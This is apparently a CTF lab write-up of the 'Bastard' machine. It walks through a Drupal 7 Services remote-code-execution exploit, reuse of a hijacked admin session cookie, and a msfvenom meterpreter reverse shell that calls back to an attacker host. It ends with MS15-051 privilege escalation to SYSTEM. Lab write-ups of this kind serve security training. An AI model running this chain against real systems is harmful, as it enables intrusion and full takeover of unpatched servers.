Today we’re going to solve another CTF machine “Bastard”. It is now retired box and can be accessible if you’re a VIP member.
Introduction
Specifications
- Target OS: Windows
- Services: HTTP, msrpc, unkown
- IP Address: 10.10.10.9
- Difficulty: Medium
Weakness
- Exploit-DB 41564
- MS15-051
Contents
- Getting user
- Getting root
Reconnaissance
As always, the first step consists of reconnaissance phase as port scanning.
Ports Scanning
During this step we’re gonna identify the target to see what we have behind the IP Address.
Enumerate Drupal
Drupal is running on http and nmap gave us some information we need to check.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
80/tcp open http Microsoft IIS httpd 7.5 |_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03 |_http-generator: Drupal 7 (http://drupal.org) | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Microsoft-IIS/7.5 |_http-title: Welcome to 10.10.10.9 | 10.10.10.9 135/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC |
Before everything we have to check which version of drupal is install. We need to check CHANGLOG.txt to find more details.
In that case we have Drupal 7.54 installed let’s searchsploit.
The exploit which we’re gonna use is “Drupal 7.x Module Services – Remote Code Execution”
We need to modify our exploit. The exploit needs rest api path which we found in our directory enumeration so we set our endpoint path to /rest.
|
1 2 |
$url = 'http://10.10.10.9'; $endpoint_path = '/rest'; |
By running this exploit we got two files user.json and session.json.
There’s two ways to get reverse shell.
Reverse Shell Using Drupal
We can use sessions.txt data to login as administrator which we got through running exploit.
sessions.txt
|
1 2 3 4 5 |
{ "session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913", "session_id": "li1-xoDBXCgxKg0rI9tn3pS6CsfJaQKwEjARmfxlxa0", "token": "2dnjgeee6Cy5hRPikPeogGjbxqqgdKeyEo2v32d-jEU" } |
Now let’s go to http://10.10.10.9/admin
|
1 |
Cookie: has_js=1; Drupal.toolbar.collapsed=0 |
We have to modify the cookie in this format.
|
1 |
Cookie: session_name=session_id;token |
Once you have access to administration panel go to Modules and enable PHP filter so we can get reverse shell.
You can get user.txt file from C:\Users\dimitris\Desktop directory.
Privilege Escalation
Now we have user access we have to use exploit suggester module in order to obtain more information regarding the box.
We have a user session via php shell let’s switch to actual reverse shell.
|
1 |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.11 LPORT=1338 -f exe > shell.exe |
Now simply upload and run shell.exe
Now we got a proper reverse shell.
By using exploit suggester we got few exploits which i tested and one of them worked.
|
1 |
use exploit/windows/local/ms15_051_client_copy_image |
And we are NT Authority.
We can obtain root.txt from here: C:\Users\Administrator\Desktop\root.txt
